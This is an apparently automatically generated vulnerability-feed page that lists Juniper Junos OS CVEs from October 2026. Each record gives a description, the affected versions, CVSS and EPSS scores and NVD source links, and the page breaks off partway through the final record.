### A Use After Free vulnerability in the packet forwarding engine (pfe) of Juniper Networks Junos OS on SRX Series allows an unauthenticated, network-based attacker to cause a...
https://kevwire.com/record/CVE-2026-102078
A Use After Free vulnerability in the packet forwarding engine (pfe) of Juniper Networks Junos OS on SRX Series allows an unauthenticated, network-based attacker to cause a... (Oct 14, 2026).
A Use After Free vulnerability in the packet forwarding engine (pfe) of Juniper Networks Junos OS on SRX Series allows an unauthenticated, network-based attacker to cause a Denial-of-Service (DoS).



When web filtering for TCP traffic is configured, a high volume of DNS requests increases the likelihood of a flowd crash and restart, which leads to a complete service outage until the service has automatically recovered. This is a race condition outside the attacker's direct control.

This issue affects Junos OS on SRX Series:


  *  All versions before 23.2R2-S5;
  *  from 23.4 before 23.4R2-S6;
  *  from 24.2 before 24.2R2-S3;
  *  from 24.4 before 24.4R2-S1;
  *  from 25.2 before 25.2R1-S1, 25.2R2.
CVSS 8.2 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102078).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102078&date=2026-10-25).
Sources:
NVD CVE-2026-102078: https://nvd.nist.gov/vuln/detail/CVE-2026-102078
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102078&date=2026-10-25
A Use After Free vulnerability in the packet forwarding engine (pfe) of Juniper Networks Junos OS on SRX Series allows an unauthenticated, network-based attacker to cause a Denial-of-Service (DoS).



When web filtering for TCP traffic is configured, a high volume of DNS requests increases the likelihood of a flowd crash and restart, which leads to a complete service outage until the service has automatically recovered. This is a race condition outside the attacker's direct control.

This issue affects Junos OS on SRX Series:


  *  All versions before 23.2R2-S5;
  *  from 23.4 before 23.4R2-S6;
  *  from 24.2 before 24.2R2-S3;
  *  from 24.4 before 24.4R2-S1;
  *  from 25.2 before 25.2R1-S1, 25.2R2.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An OS command injection vulnerability in the CLI of Juniper Networks Junos OS allows a local, low privileged attacker to take complete control of the device.
https://kevwire.com/record/CVE-2026-102079
An OS command injection vulnerability in the CLI of Juniper Networks Junos OS allows a local, low privileged attacker to take complete control of the device. (Oct 14, 2026).
An OS command injection vulnerability in the CLI of Juniper Networks Junos OS allows a local, low privileged attacker to take complete control of the device.

A specific 'request csds' command doesn't sanitize user provided input so that it can be interpreted as a command. This allows unintended command execution with root privileges, which can lead to unauthorized system access or modification.





This issue affects Junos OS:


  *  24.4 versions before 24.4R2-S4;
  *  25.2 versions before 25.2R2-S1;
  *  25.4 versions before 25.4R1-S3;






This issue does not affect Junos OS releases before 24.4R1.
CVSS 8.5 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102079).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102079&date=2026-10-25).
Sources:
NVD CVE-2026-102079: https://nvd.nist.gov/vuln/detail/CVE-2026-102079
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102079&date=2026-10-25
An OS command injection vulnerability in the CLI of Juniper Networks Junos OS allows a local, low privileged attacker to take complete control of the device.

A specific 'request csds' command doesn't sanitize user provided input so that it can be interpreted as a command. This allows unintended command execution with root privileges, which can lead to unauthorized system access or modification.





This issue affects Junos OS:


  *  24.4 versions before 24.4R2-S4;
  *  25.2 versions before 25.2R2-S1;
  *  25.4 versions before 25.4R1-S3;






This issue does not affect Junos OS releases before 24.4R1.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Missing Release of Memory after Effective Lifetime vulnerability in the packet forwarding engine (PFE) of Juniper Networks Junos OS on SRX Series allows an unauthenticated,...
https://kevwire.com/record/CVE-2026-102081
A Missing Release of Memory after Effective Lifetime vulnerability in the packet forwarding engine (PFE) of Juniper Networks Junos OS on SRX Series allows an unauthenticated,... (Oct 14, 2026).
A Missing Release of Memory after Effective Lifetime vulnerability in the packet forwarding engine (PFE) of Juniper Networks Junos OS on SRX Series allows an unauthenticated, network-based attacker to cause a complete Denial-of-Service (DoS).



On SRX4000 Series, and SRX5000 Series with SPC3, and MX Series with SPC3, when one or more specific application services like ALGs, IDP/DPI, APPID, SECINTEL, AAMW or AppQoE are configured, a high connections per second churn will cause PFE memory to leak. If the memory is exhausted traffic processing will be impacted.

Use the CLI command show security monitoring to monitor the memory utilization of the PFEs on the FPCs.

This issue affects Junos OS on SRX Series and MX Series:


  *  23.4 versions from 23.4R2-S3 before 23.4R2-S7;
  *  24.2 versions from 24.2R2 before 24.2R2-S3;
  *  24.4 versions before 24.4R2-S3;
  *  25.2 versions before 25.2R1-S2, 25.2R2.
CVSS 8.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102081).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102081&date=2026-10-25).
Sources:
NVD CVE-2026-102081: https://nvd.nist.gov/vuln/detail/CVE-2026-102081
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102081&date=2026-10-25
A Missing Release of Memory after Effective Lifetime vulnerability in the packet forwarding engine (PFE) of Juniper Networks Junos OS on SRX Series allows an unauthenticated, network-based attacker to cause a complete Denial-of-Service (DoS).



On SRX4000 Series, and SRX5000 Series with SPC3, and MX Series with SPC3, when one or more specific application services like ALGs, IDP/DPI, APPID, SECINTEL, AAMW or AppQoE are configured, a high connections per second churn will cause PFE memory to leak. If the memory is exhausted traffic processing will be impacted.

Use the CLI command show security monitoring to monitor the memory utilization of the PFEs on the FPCs.

This issue affects Junos OS on SRX Series and MX Series:


  *  23.4 versions from 23.4R2-S3 before 23.4R2-S7;
  *  24.2 versions from 24.2R2 before 24.2R2-S3;
  *  24.4 versions before 24.4R2-S3;
  *  25.2 versions before 25.2R1-S2, 25.2R2.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Improper Handling of Missing Special Element vulnerability in the SSL plugin of Juniper Networks Junos OS on SRX Series allows a network-based, unauthenticated attacker to...
https://kevwire.com/record/CVE-2026-102082
An Improper Handling of Missing Special Element vulnerability in the SSL plugin of Juniper Networks Junos OS on SRX Series allows a network-based, unauthenticated attacker to... (Oct 14, 2026).
An Improper Handling of Missing Special Element vulnerability in the SSL plugin of Juniper Networks Junos OS on SRX Series allows a network-based, unauthenticated attacker to cause a Denial-of-Service (DoS).



This issue is will occur when 'ssl-proxy' is configured on SRX platforms and during a TLS session-resumption attempt a specifically malformed TLS message is received. This results in an invalid pointer access and PFE crash which causes a temporary loss of traffic forwarding until the PFE automatically recovers. The exact internal timing to trigger this issue is outside the attacker's direct control.This issue affects Junos OS on SRX Series:


  *  All versions before 23.2R2-S5;
  *  23.4 versions before 23.4R2-S5;
  *  24.2 versions before 24.2R2-S2;
  *  24.4 versions before 24.4R2.
CVSS 8.2 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102082).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102082&date=2026-10-25).
Sources:
NVD CVE-2026-102082: https://nvd.nist.gov/vuln/detail/CVE-2026-102082
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102082&date=2026-10-25
An Improper Handling of Missing Special Element vulnerability in the SSL plugin of Juniper Networks Junos OS on SRX Series allows a network-based, unauthenticated attacker to cause a Denial-of-Service (DoS).



This issue is will occur when 'ssl-proxy' is configured on SRX platforms and during a TLS session-resumption attempt a specifically malformed TLS message is received. This results in an invalid pointer access and PFE crash which causes a temporary loss of traffic forwarding until the PFE automatically recovers. The exact internal timing to trigger this issue is outside the attacker's direct control.This issue affects Junos OS on SRX Series:


  *  All versions before 23.2R2-S5;
  *  23.4 versions before 23.4R2-S5;
  *  24.2 versions before 24.2R2-S2;
  *  24.4 versions before 24.4R2.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Improper Resource Locking vulnerability in the UTM processing of Juniper Networks Junos OS on SRX Series allows an unauthenticated, network-based attacker to cause a...
https://kevwire.com/record/CVE-2026-102083
An Improper Resource Locking vulnerability in the UTM processing of Juniper Networks Junos OS on SRX Series allows an unauthenticated, network-based attacker to cause a... (Oct 14, 2026).
An Improper Resource Locking vulnerability in the UTM processing of Juniper Networks Junos OS on SRX Series allows an unauthenticated, network-based attacker to cause a Denial-of-Service (DoS).



When UTM WebFiltering is configured and the WebFiltering cloud server is unreachable, sustained HTTP traffic load may cause the UTM subsystem to crash and restart, which will lead to a complete service outage until the system has recovered.
When category lookup requests cannot be completed, they accumulate internally. Under high load and specific timing conditions, an invalid internal state can occur during cleanup of pending WebFiltering lookups, resulting in a crash of the UTM process.
This issue applies to both NextGeneration WebFiltering (NGWF) and Enhanced WebFiltering (EWF).

This issue affects Junos OS on SRX Series:


  *  23.2 versions from 23.2R2 before 23.2R2-S7.7;
  *  23.4 versions from 23.4R2 before 23.4R2-S8.13;
  *  24.2 versions before 24.2R2-S5.5;
  *  24.4 versions before 24.4R2-S4;
  *  25.2 versions before 25.2R2-S1;
  *  25.4 versions before 25.4R1-S3, 25.4R2.
CVSS 8.2 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102083).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102083&date=2026-10-25).
Sources:
NVD CVE-2026-102083: https://nvd.nist.gov/vuln/detail/CVE-2026-102083
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102083&date=2026-10-25
An Improper Resource Locking vulnerability in the UTM processing of Juniper Networks Junos OS on SRX Series allows an unauthenticated, network-based attacker to cause a Denial-of-Service (DoS).



When UTM WebFiltering is configured and the WebFiltering cloud server is unreachable, sustained HTTP traffic load may cause the UTM subsystem to crash and restart, which will lead to a complete service outage until the system has recovered.
When category lookup requests cannot be completed, they accumulate internally. Under high load and specific timing conditions, an invalid internal state can occur during cleanup of pending WebFiltering lookups, resulting in a crash of the UTM process.
This issue applies to both NextGeneration WebFiltering (NGWF) and Enhanced WebFiltering (EWF).

This issue affects Junos OS on SRX Series:


  *  23.2 versions from 23.2R2 before 23.2R2-S7.7;
  *  23.4 versions from 23.4R2 before 23.4R2-S8.13;
  *  24.2 versions before 24.2R2-S5.5;
  *  24.4 versions before 24.4R2-S4;
  *  25.2 versions before 25.2R2-S1;
  *  25.4 versions before 25.4R1-S3, 25.4R2.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Improper Validation of Syntactic Correctness of Input vulnerability in the VPN daemon of Juniper Networks Junos OS on SRX Series allows an authenticated, network-based attacker...
https://kevwire.com/record/CVE-2026-102084
An Improper Validation of Syntactic Correctness of Input vulnerability in the VPN daemon of Juniper Networks Junos OS on SRX Series allows an authenticated, network-based attacker... (Oct 14, 2026).
An Improper Validation of Syntactic Correctness of Input vulnerability in the VPN daemon of Juniper Networks Junos OS on SRX Series allows an authenticated, network-based attacker to take complete control of the device.

If an SRX device configured for AutoDiscovery VPN (ADVPN) receives a message from a peer that contains one or more specifically malformed attributes, this will cause a buffer overflow, which can allow remote code execution and therefore allow an attacker to take complete control of the device. To be able to carry out this attack an attacker must either have acquired the shared secret to impersonate a peer or have compromised an existing one, so this attack is considerably difficult.

This issue affects Junos OS on SRX Series:


  *  All versions before 23.2R2-S7.7;
  *  from 23.4 before 23.4R2-S7;
  *  from 24.2 before 24.2R2-S4;
  *  from 24.4 before 24.4R2-S3;
  *  from 25.2 before 25.2R2;
  *  from 25.4 before 25.4R1-S3.
CVSS 9.2 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102084).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102084&date=2026-10-25).
Sources:
NVD CVE-2026-102084: https://nvd.nist.gov/vuln/detail/CVE-2026-102084
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102084&date=2026-10-25
An Improper Validation of Syntactic Correctness of Input vulnerability in the VPN daemon of Juniper Networks Junos OS on SRX Series allows an authenticated, network-based attacker to take complete control of the device.

If an SRX device configured for AutoDiscovery VPN (ADVPN) receives a message from a peer that contains one or more specifically malformed attributes, this will cause a buffer overflow, which can allow remote code execution and therefore allow an attacker to take complete control of the device. To be able to carry out this attack an attacker must either have acquired the shared secret to impersonate a peer or have compromised an existing one, so this attack is considerably difficult.

This issue affects Junos OS on SRX Series:


  *  All versions before 23.2R2-S7.7;
  *  from 23.4 before 23.4R2-S7;
  *  from 24.2 before 24.2R2-S4;
  *  from 24.4 before 24.4R2-S3;
  *  from 25.2 before 25.2R2;
  *  from 25.4 before 25.4R1-S3.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A NULL Pointer Dereference vulnerability in the DNS plugin of Juniper Networks Junos OS on SRX Series allows an unauthenticated, network-based attacker to cause a complete...
https://kevwire.com/record/CVE-2026-102086
A NULL Pointer Dereference vulnerability in the DNS plugin of Juniper Networks Junos OS on SRX Series allows an unauthenticated, network-based attacker to cause a complete... (Oct 14, 2026).
A NULL Pointer Dereference vulnerability in the DNS plugin of Juniper Networks Junos OS on SRX Series allows an unauthenticated, network-based attacker to cause a complete Denial-of-Service (DoS).



When multiple DNS queries are received in a single flow session, where one query matches a Security Intelligence (SecIntel) feed and another query is sent for DNS Domain Generation Algorithm (DGA) analysis, an error in processing logging of these asynchronous tasks can lead to an FPC crash. The exact timing conditions are outside an attacker's direct control.

This issue affects Junos OS on SRX Series:


  *  All versions before 23.2R2-S7.7;
  *  from 23.4 before 23.4R2-S8.13;
  *  from 24.2 before 24.2R2-S5.5;
  *  from 24.4 before 24.4R2-S4;
  *  from 25.2 before 25.2R2-S1;
  *  from 25.4 before 25.4R1-S2.
CVSS 8.2 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102086).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102086&date=2026-10-25).
Sources:
NVD CVE-2026-102086: https://nvd.nist.gov/vuln/detail/CVE-2026-102086
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102086&date=2026-10-25
A NULL Pointer Dereference vulnerability in the DNS plugin of Juniper Networks Junos OS on SRX Series allows an unauthenticated, network-based attacker to cause a complete Denial-of-Service (DoS).



When multiple DNS queries are received in a single flow session, where one query matches a Security Intelligence (SecIntel) feed and another query is sent for DNS Domain Generation Algorithm (DGA) analysis, an error in processing logging of these asynchronous tasks can lead to an FPC crash. The exact timing conditions are outside an attacker's direct control.

This issue affects Junos OS on SRX Series:


  *  All versions before 23.2R2-S7.7;
  *  from 23.4 before 23.4R2-S8.13;
  *  from 24.2 before 24.2R2-S5.5;
  *  from 24.4 before 24.4R2-S4;
  *  from 25.2 before 25.2R2-S1;
  *  from 25.4 before 25.4R1-S2.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Incomplete List of Disallowed Inputs vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated, adjacent...
https://kevwire.com/record/CVE-2026-102087
An Incomplete List of Disallowed Inputs vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated, adjacent... (Oct 14, 2026).
An Incomplete List of Disallowed Inputs vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated, adjacent attacker to cause a Denial-of-Service (DoS).

When in a BGP traffic engineering scenario a specific, valid, optional, non-transitive BGP update is received over an established BGP session, RPD crashes and automatically restarts, which leads to traffic impact until routing has reconverged.

This issue affects:
Junos OS:


  *  All versions before 23.2R2-S6;
  *  23.4 versions before 23.4R2-S7;
  *  24.2 versions before 24.2R2-S4;
  *  24.4 versions before 24.4R2-S4;
  *  25.2 versions before 25.2R1-S2, 25.2R2;



Junos OS Evolved:
  *  All versions before 23.2R2-S6-EVO;
  *  23.4 versions before 23.4R2-S8.11-EVO;
  *  24.2 versions before 24.2R2-S4-EVO;
  *  24.4 versions before 24.4R2-S5-EVO;
  *  25.2 versions before 25.2R1-S2-EVO, 25.2R2-EVO;
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102087).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102087&date=2026-10-25).
Sources:
NVD CVE-2026-102087: https://nvd.nist.gov/vuln/detail/CVE-2026-102087
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102087&date=2026-10-25
An Incomplete List of Disallowed Inputs vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated, adjacent attacker to cause a Denial-of-Service (DoS).

When in a BGP traffic engineering scenario a specific, valid, optional, non-transitive BGP update is received over an established BGP session, RPD crashes and automatically restarts, which leads to traffic impact until routing has reconverged.

This issue affects:
Junos OS:


  *  All versions before 23.2R2-S6;
  *  23.4 versions before 23.4R2-S7;
  *  24.2 versions before 24.2R2-S4;
  *  24.4 versions before 24.4R2-S4;
  *  25.2 versions before 25.2R1-S2, 25.2R2;



Junos OS Evolved:
  *  All versions before 23.2R2-S6-EVO;
  *  23.4 versions before 23.4R2-S8.11-EVO;
  *  24.2 versions before 24.2R2-S4-EVO;
  *  24.4 versions before 24.4R2-S5-EVO;
  *  25.2 versions before 25.2R1-S2-EVO, 25.2R2-EVO;

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Out-of-bounds Write vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent unauthenticated attacker to cause a...
https://kevwire.com/record/CVE-2026-102177
An Out-of-bounds Write vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent unauthenticated attacker to cause a... (Oct 14, 2026).
An Out-of-bounds Write vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent unauthenticated attacker to cause a denial of service when IS-IS link protection and backup-selection are configured.
CVSS 7.2 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102177).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102177&date=2026-10-25).
Sources:
NVD CVE-2026-102177: https://nvd.nist.gov/vuln/detail/CVE-2026-102177
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102177&date=2026-10-25
An Out-of-bounds Write vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent unauthenticated attacker to cause a denial of service when IS-IS link protection and backup-selection are configured.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Out-of-bounds Write vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an attacker with access to a configured BGP EVPN...
https://kevwire.com/record/CVE-2026-102179
An Out-of-bounds Write vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an attacker with access to a configured BGP EVPN... (Oct 14, 2026).
An Out-of-bounds Write vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an attacker with access to a configured BGP EVPN peer to cause a denial of service via BGP EVPN route processing when the l2vpn-evpn RIB telemetry sensor is subscribed. Successful exploitation can crash rpd and interrupt routing protocols until the daemon restarts and reconverges.
CVSS 8.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102179).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102179&date=2026-10-25).
Sources:
NVD CVE-2026-102179: https://nvd.nist.gov/vuln/detail/CVE-2026-102179
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102179&date=2026-10-25
An Out-of-bounds Write vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an attacker with access to a configured BGP EVPN peer to cause a denial of service via BGP EVPN route processing when the l2vpn-evpn RIB telemetry sensor is subscribed. Successful exploitation can crash rpd and interrupt routing protocols until the daemon restarts and reconverges.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Heap-based Buffer Overflow vulnerability in the VXLAN Gateway Daemon (vgd) of Juniper Networks Junos OS allows a malicious or compromised SDN-controller to cause a complete...
https://kevwire.com/record/CVE-2026-103994
A Heap-based Buffer Overflow vulnerability in the VXLAN Gateway Daemon (vgd) of Juniper Networks Junos OS allows a malicious or compromised SDN-controller to cause a complete... (Oct 14, 2026).
A Heap-based Buffer Overflow vulnerability in the VXLAN Gateway Daemon (vgd) of Juniper Networks Junos OS allows a malicious or compromised SDN-controller to cause a complete outage of the OVSDB control plane and possibly remote code execution.
CVSS 8.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103994).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103994&date=2026-10-25).
Sources:
NVD CVE-2026-103994: https://nvd.nist.gov/vuln/detail/CVE-2026-103994
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103994&date=2026-10-25
A Heap-based Buffer Overflow vulnerability in the VXLAN Gateway Daemon (vgd) of Juniper Networks Junos OS allows a malicious or compromised SDN-controller to cause a complete outage of the OVSDB control plane and possibly remote code execution.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Stack-based Buffer Overflow vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated BGP peer to cause a...
https://kevwire.com/record/CVE-2026-33789
A Stack-based Buffer Overflow vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated BGP peer to cause a... (Oct 14, 2026).
A Stack-based Buffer Overflow vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated BGP peer to cause a denial of service and potential root-level command execution via crafted BGP route updates when the BGP Monitoring Protocol (BMP) is enabled.
CVSS 9.2 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-33789).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-33789&date=2026-10-25).
Sources:
NVD CVE-2026-33789: https://nvd.nist.gov/vuln/detail/CVE-2026-33789
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-33789&date=2026-10-25
A Stack-based Buffer Overflow vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated BGP peer to cause a denial of service and potential root-level command execution via crafted BGP route updates when the BGP Monitoring Protocol (BMP) is enabled.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Stack-based Buffer Overflow vulnerability in the srxpfe process of Juniper Networks Junos OS on SRX Series allows an unauthenticated network attacker to execute code as root or...
https://kevwire.com/record/CVE-2026-33792
A Stack-based Buffer Overflow vulnerability in the srxpfe process of Juniper Networks Junos OS on SRX Series allows an unauthenticated network attacker to execute code as root or... (Oct 14, 2026).
A Stack-based Buffer Overflow vulnerability in the srxpfe process of Juniper Networks Junos OS on SRX Series allows an unauthenticated network attacker to execute code as root or cause a denial of service via a crafted packet received on a configured GRE tunnel.
CVSS 9.3 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-33792).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-33792&date=2026-10-25).
Sources:
NVD CVE-2026-33792: https://nvd.nist.gov/vuln/detail/CVE-2026-33792
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-33792&date=2026-10-25
A Stack-based Buffer Overflow vulnerability in the srxpfe process of Juniper Networks Junos OS on SRX Series allows an unauthenticated network attacker to execute code as root or cause a denial of service via a crafted packet received on a configured GRE tunnel.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Numeric Truncation Error vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated network-based attacker to cause a denial of...
https://kevwire.com/record/CVE-2026-33795
A Numeric Truncation Error vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated network-based attacker to cause a denial of... (Oct 14, 2026).
A Numeric Truncation Error vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated network-based attacker to cause a denial of service via a BGP Prefix-SID route advertisement that is subsequently re-advertised.

This issue does not affect versions of Junos OS prior to 20.4R1.
This issue does not affect versions of Junos OS Evolved prior to 20.4R1-EVO
CVSS 8.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-33795).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-33795&date=2026-10-25).
Sources:
NVD CVE-2026-33795: https://nvd.nist.gov/vuln/detail/CVE-2026-33795
